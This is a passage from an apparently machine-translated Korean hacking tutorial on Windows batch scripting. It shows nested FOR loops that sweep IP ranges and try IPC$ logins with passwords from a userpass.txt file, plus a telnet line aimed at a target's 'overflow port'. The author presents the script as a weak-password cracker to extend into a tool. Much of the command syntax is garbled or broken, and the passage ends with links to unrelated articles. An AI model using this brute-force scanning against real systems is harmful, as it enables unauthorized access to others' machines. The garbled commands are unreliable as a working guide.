Echo telnet[ 대상 IP][ 오버플로우 포트]

: 종료/* 전체 프로그램 종료

이 로트가 사용하는 전체 사이클을 파악하고 카운터 부분을 파악함으로써 배치를 마스터하십시오.

예 3

For /l %%a in (0, 1, 255) do for /l %%b in (0, 1, 255) do for %% a.% B.% c \ IPC $%% e/u:%% F.

위 명령은 1 명령입니다. 보시다시피 이 명령은 FOR 4 개를 사용합니다. 사용법: c: \ > 테스트。 BAT 2 18 2 18 을 입력하면 이 명령은 1 에서 초기 값 0 을 %%a 로 두 번째로 진행한 다음 초기 값 0 을 %%b 로 계속 가져와 초기 값을 계속 가져옵니다 마지막 for 는 userpass.txt 의 첫 번째 문자를 두 번째 암호 %%e 로 사용하는 것입니다.

Netusr \ \ 218.0.0.1\ IPC $123/u: ABC

물론, 위의 예가 너무 간단하고 융통성이 없다고 말하는 친구가 있을 수 있다. 저는 이 예를 약간 수정했습니다 (전체 문서는 ipc.bat 참조). 관심 있는 친구들은 스스로 볼 수 있습니다. 수정된 프로그램은 지정한 시작부터 끝까지 또는 시작부터 지정한 최대 IP 까지 유연하게 찾을 수 있습니다. 물론 기능은 여전히 강화될 수 있다. 어느 정도까지 강화할 수 있는지, 새로운 도구가 될 수 있는지 여부는 너의 일이다.

이 순환 동작은 좀 크는데, 주로 IP 의 디지털 교체가 번거로워서 어쩔 수 없다. 이번 배치는 나는 아무런 평론도 쓰지 않을 것이다. 위의 내용을 참고하시면, 당신은 곧 이 배치를 이해할 수 있을 것입니다. 이해하면 간단하다고 말하지 마라! 적어도 이것은 제 3 자 도구를 사용하지 않고 약한 암호를 감지하고 저장할 수 있는 배치 프로세스입니다! ! 단순한 변화는 여전히 파괴적이다. 이 모든 배치는 win2000 및 XP 에서 테스트를 통과했습니다. 가장 큰 장점은 배치 파일이 하나뿐이며 오보가 발생하지 않는다는 것이다. 단점은 너무 길다는 것이다!

上篇: '천문알'이란 무엇인가요? 下篇: 방사능을 발견한 최초의 사람은 마리 퀴리였습니다. 그런데 왜 다른 사람들은 방사능을 계속 연구하지 않았습니까?
관련 내용